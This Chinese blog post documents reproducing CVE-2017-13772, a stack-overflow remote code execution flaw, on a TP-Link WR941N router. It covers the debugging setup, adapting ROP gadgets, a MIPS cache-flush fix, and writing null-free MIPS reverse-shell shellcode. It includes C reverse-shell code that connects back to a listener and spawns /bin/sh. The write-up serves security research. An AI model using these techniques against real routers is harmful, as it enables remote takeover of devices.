TP-LINK WR941N路由器研究
TP-LINK WR941N路由器研究
之前看到了一个CVE, CVE-2017-13772
是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是CVE-2017-13772
文章中给的EXP并不通用
所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑
第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的
Day 1
第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有/tmp
目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个gdbserver
就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver
也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
把gdbserver.mipsbe
通过tftp上传到路由器的/tmp
目录下
然后根据cve-2017-13772
分析文章说的那样使用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了
Day 2
第二天准备开始调试,但是发现gdb的两个编译选项, 一个--host
,表示gdb运行的环境,一般默认就是本机环境,还有一个--target
表示调试的目标环境,默认也是本机环境,所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux
参数进行编译gdb,才能调试大端的mips程序。
编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序....
编译成功后,就可以进行远程调试了,在路由器上执行:
> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid
然后使用编译好gdb进行调试:
$ gdb
(gdb) target remote 192.168.1.1:12345
但是失败了,又折腾了半天
Day 3
第三天才真正的开始调试程序,首先说说我第二天遇到的问题,问题是下了断点没用,原因比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了
然后根据cve-2017-13772
分析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情况也是一样,所以拿了wr940n的exp来打了一遍,结果当然是失败了。
在wr940n的exp中,ROP是在libuClibc-0.9.30.so
中找的,根据$ cat /proc/pid/maps
命令,发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so
文件的hash值,发现不同,所以要修改ROP地址。
由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,因为我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本使用。
修改了ROP后,再进行尝试exp,发现仍然失败,然后进行调试查看原因,跟踪ROP执行流,发现能成功跳转到栈上执行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个使用xor进行解密的过程,执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode
Day 4
第四天就是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler
然后说说写的过程中遇到的问题,该路由器输入是不接受\x00
和\x20
,所以ROP不是在ELF中寻找而是去libc中寻找:libuClibc
基地址:0x2aae000
, httpd
基地址:0x00400000
如果在ELF中寻找ROP,则地址中总会有个\x00
,所以ROP是在libc中寻找不存在\x00
和\x20
的地址。但是在shellcode中,这两个字符却很难避免,所以那篇文章中对shellcode进行了xor加密
wr940n的exp使用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode
然后就是最后遇到的一个大坑,使用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失败了,使用gdb成功,直接打失败,因为这个问题折腾了挺长的时间
然后查阅资料,在看雪的一篇文章中找到了原因:https://www.kanxue.com/article-read-218.htm
mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush,将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞,劫持程序执行流程的时候,会去执行内存中的 shellcode。
如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行 flush。
这个坑点在那篇文章中也提及了,但是没具体说明,如果没实际踩一踩,不一定能理解。但是讲道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,应该是不会遇到这个坑的,但是我仍然遇到了,经过研究发现,是usleep的问题,猜测是由于堵塞的时间过短所以未执行flush?然后进行实际测试了一番,把usleep的时间修改为18217
,同样没用,然后简单看了下两者的汇编,发现usleep只是简单的调用nanosleep,而sleep除了调用nanosleep还进行其他相关的操作,网上没搜到相关文章,因为精力有限,作为遗留问题,以后有时间的时候再继续研究。
不过有几个猜测,
- 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明
- flush内存是靠sleep中的几个信号相关的函数?
所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2+1),但是我将usleep改成sleep => sleep(0xc*2+1),数据缓存被成功flush到主内存中,就能成功执行shellcode了
Shellcode编写
在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分
首先是syscall部分,比如:
li $v0, 4183
syscall 0x40404
# sys_socket
- mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是
\x0c
,剩余的三字节默认用\x00
补全,但是因为路由器不接受\x00
的输入,所以在大端的情况下改成\x01\x01\x01\x0c
,进行反汇编,就是syscall 0x40404
系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
比如sys_socket
:
#define __NR_Linux 4000
#define __NR_socket (__NR_Linux + 183)
所以$v0=4183
表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html
int sys_socket(int family, int type, int protocol)
现在,先用c来实现一遍反连shell的代码:
$ cat test.c
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h> int main(void)
{
int sockfd;
sockfd = socket(2,2,0);
struct sockaddr_in addr;
addr.sin_family = 2;
addr.sin_port = 0x3039;
addr.sin_addr = 0xc0a80164;
connect(sockfd, &addr, sizeof(addr))
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("//bin/sh", 0, 0);
return 0;
}
和其他架构不一样,mips架构中,tcp是2,udp是1
所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连
还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理
然后把上面代码转换成mips指令的汇编
但是有个问题,之前说了该路由器不接收\x00
和\x20
两个字符,而上面的汇编转换成字节码:
nor $a0,$t7,$zero => "\x01\xe0\x20\x27"
所以要把这句指令进行修改, 因为$a0
和$a1
的值都为2,所以可以这样修改:
sw $a1,-1($sp) => "\xaf\xa5\xff\xff"
lw $a0,-1($sp) => "\x8f\xa4\xff\xff"
把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现sh
已经变为僵尸进程
经研究,问题出在execve("/bin/sh",0,0)
,如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)
则成功反弹shell,可以任意命令执行
参考链接
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
- https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
- http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
- https://www.kanxue.com/article-read-218.htm
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
- http://asm.sourceforge.net/syscall.html
- https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h
TP-LINK WR941N路由器研究的更多相关文章
- Win7 x86内核调试与TP反调试的研究
参考 这两天对某P双机调试的学习及成果 ,非常好的一篇分析贴. 本文在Win7 x86下的分析,在虚拟机中以/DEBUG模式启动TP游戏,系统会自动重启. 0x01 内核调试全局变量 根据软件调试 ...
- 小米手机销量暴跌36% 雷军做错了什么?(人的需求是复杂的,而不是仅仅是一个性价比;要做体验价格比,而不是配置价格比)good
小米手机销量暴跌36% 雷军做错了什么? 日前,小米科技创始人雷军在美国马萨诸塞州剑桥市出席了第20届哈佛中国论坛开幕式并发表了演讲.在演讲中,雷军说但小米却只用两年半的时间一跃成为了中国第一,世界第 ...
- 〖Network〗宿舍配置两路由器,同时访问校园内网和校园外网
环境: 校园宿舍, 10.x.x.x 和 172.16.x.x~172.31.x.x是校园内网,本科教务系统什么的都在上边 路由器: 路由器1(校园内网):水星MR807 路由器2(拨号上网):TP ...
- 记 TP-Link 路由器的 WDS 设置
记 TP-Link 路由器的 WDS 设置 有一台旧的 TP-Link 路由器,是以前朋友送的,外壳看起来还不错,也挺新的. 本来已经有一台极路由了,看到信号还是不够好,所以想使用 TP-Link 的 ...
- 配置windows路由表,使电脑同时连接内网外网方法
1.环境一(系统:windows xp,内网.外网不是同一类地址,内网地址固定): 外网:通过笔记本的无线网卡连接: 内网:通过笔记本的本地连接: 第一步,连接网线,配置本地连接地址,注意IP地址不要 ...
- TP-Link 无线路由器设置图文教程----怎么设置TP-Link无线路由器图解
转自:http://www.jb51.net/softjc/39399.html 无线路由器的基础配置 在我们第一次配置无线宽带路由器时,参照说明书找到无线宽带路由器默认的IP地址是192.168.1 ...
- 花生壳+Tomcat
花生壳(内网穿透)新手上路 http://service.oray.com/question/1664.html 好不容易找到一篇关于“花生壳+Tomcat”的好文章,转一下,上次自己弄的时候把自己的 ...
- 无线路由器WDS设置方法图解_无线桥接设置
随着无线网络的发展,现在越来越多的公司及企业都已经开始布局无线局域网,今天我们主要介绍下适合中小企业的无线路由器桥接或WDS功能.文章以TP-link WR841N无线路由器设置为例,其它路由器参考设 ...
- 纯JS实现的3D标签云,不依赖不论什么第三方库,支持移动页面
<span style="font-family: Arial, Helvetica, sans-serif;"><!DOCTYPE html PUBLIC &q ...
随机推荐
- AcitveReocrd事件和关联操作
ActiveRecord预定义的事件,都在 yiidbBaseActiveRecord 中进行了明确: abstract class BaseActiveRecord extends Model ...
- 横向对比分析Python解析XML的四种方式
横向对比分析Python解析XML的四种方式 在最初学习PYTHON的时候,只知道有DOM和SAX两种解析方法,但是其效率都不够理想,由于需要处理的文件数量太大,这两种方式耗时太高无法接受. 在网络搜 ...
- 数组setArray和addObjectsFromArray的区别
-setArray:用另一个数组中的所有对象来替换当前数组中的所有对象 -addObjectsFromArray:在原数组最后添加另一个数组的全部对象 NSArray *arr = @["] ...
- ScrollView-基本设置
一: 掌握两点: 1. ScrollView必须有一个确定的高度才能正常工作,因为它实际上所做的就是将一系列不确定高度的子组件装进一个确定高度的容器(通过滚动操作).要给一个ScrollView确定一 ...
- Top 5 Business Messaging Announcements at Facebook F8 2019
Top 5 Business Messaging Announcements at Facebook F8 2019 By Iaroslav Kudritskiy May 2, 2019 With t ...
- bg_imgae
- 【VS开发】使用CTabView分割多页卡窗口
一般书中介绍的是使用CSplitterWnd来拆分窗口实现多视图,CSplitterWnd中的CreateClient可以保存其创建的pCreateContext指针,以便子视图共享Document. ...
- vi去掉^M
Windows下编辑的文本文件or程序文件,拷贝到linux下,用vi打开时,有时候会看到每行末尾有个 ^M 的符号. 这里介绍一个可以快速去除^M符号的方法: 用vi编辑器打开该文件,然后输入: : ...
- 浅谈CSRF(Cross-site request forgery)跨站请求伪造
目录 浅谈CSRF(Cross-site request forgery)跨站请求伪造 CSRF是什么 CSRF攻击原理 CSRF攻击防范 浅谈CSRF(Cross-site request forg ...
- 使用Iview时候 报:no-parsing-error Parsing error: x-invalid-end-tag 解决办法
解决办法有两种解决办法: 1.MenuItem修改为:menu-item 2.在根目录下 .eslintrc.js 文件 rules 下添加: "vue/no-parsing-error&q ...